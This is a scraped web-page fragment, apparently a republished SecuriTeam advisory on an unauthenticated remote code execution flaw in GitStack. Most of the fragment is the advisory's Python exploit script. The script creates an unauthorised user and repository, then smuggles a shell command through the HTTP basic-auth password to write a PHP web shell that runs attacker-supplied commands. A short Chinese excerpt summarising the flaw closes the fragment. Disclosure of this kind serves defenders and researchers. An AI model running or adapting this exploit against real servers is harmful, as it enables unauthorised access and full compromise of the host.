class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-28\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Found user {}&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-29\"><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-30\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/user\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;username&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;password&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-31\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Create user&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-32\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;User created&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;User already exist&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-33\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[-] Cannot create user&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-34\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">_exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-35\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-36\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/settings\/general\/webinterface\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-37\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;true&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-38\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Web repository already enabled&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-39\"><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-40\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Enable web repository&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-41\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">put<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/settings\/general\/webinterface\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;{&#8220;enabled&#8221; : &#8220;true&#8221;}&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-42\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;r: %s&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">r<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-43\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Web interface successfully enabled&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-44\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[-] Cannot enable web interface&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-45\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">_exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-46\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-47\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Get repositories list&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-48\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/repository\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-49\"><span class=\"crayon-v\">repository_list<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">json<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-50\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-51\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">repository_list<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-52\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository_list<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;name&#8217;<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-53\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Found repository {}&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-54\"><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-55\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Create repository&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-56\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-57\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-58\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/repository\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;csrftoken&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">csrf_token<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;name&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;csrfmiddlewaretoken&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">csrf_token<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-59\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;The repository has been successfully created&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Repository already exist&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-60\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[-] Cannot create repository&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-61\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">_exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-62\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-63\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Add user to repository&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-64\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/repository\/{}\/user\/{}\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-65\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-66\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;added to&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;has already&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-67\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[-] Cannot add user to repository&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-68\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">_exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-69\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-70\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Disable access for anyone&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-71\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">delete<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/repository\/{}\/user\/{}\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;everyone&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-72\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-73\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;everyone removed from rce&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;not in list&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-74\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[-] Cannot remove access for anyone&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-75\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">os<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">_exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-76\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-77\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Create backdoor in PHP&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-78\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;http:\/\/{}\/web\/index.php?p={}.git&amp;a=summary&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">repository<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">auth<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">HTTPBasicAuth<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;p &amp;&amp; echo &#8220;<span class=\"crayon-ta\">&lt;?php<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$_POST<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;a&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-ta\">?&gt;<\/span>&#8221; &gt; c:GitStackgitphpexploit.php&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-79\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">encode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">encoding<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">errors<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;replace&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-80\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-81\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Execute command&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-82\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/web\/exploit.php&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;a&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">command<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-83\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">encode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">encoding<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">errors<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;replace&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0101 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3665\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2-300x194.jpg\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Tue, 06 Feb 2018 08:44:21 +0000<\/strong><\/p>\n<p>\u6f0f\u6d1e\u6982\u8981 \u4ee5\u4e0b\u5b89\u5168\u516c\u544a\u63cf\u8ff0\u4e86\u5728GitStack\u4e2d\u5b58\u5728\u7684\u4e00\u4e2a\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u52a8\u4f5c\uff0c\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u6dfb\u52a0\u65b0\u7528\u6237\uff0c\u7136\u540e\u7528\u4e8e\u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002 GitStack\u662f\u4e00\u4e2a\u53ef\u4ee5\u8ba9\u4f60\u8bbe\u7f6e\u4f60\u81ea\u5df1\u79c1\u4ebaGit\u670d\u52a1\u5668\u7684\u8f6f\u4ef6\u3002 \u8fd9\u610f\u5473\u7740\u4f60\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6ca1\u6709\u4efb\u4f55\u5185\u5bb9\u7684\u7248\u672c\u63a7\u5236\u7cfb\u7edf\u3002GitStack\u53ef\u4ee5\u975e\u5e38\u5bb9\u6613\u7684\u4fdd\u6301\u4f60\u7684\u670d\u52a1\u5668\u662f\u6700\u65b0\u7684\u3002\u5b83\u662f\u771f\u6b63Git for 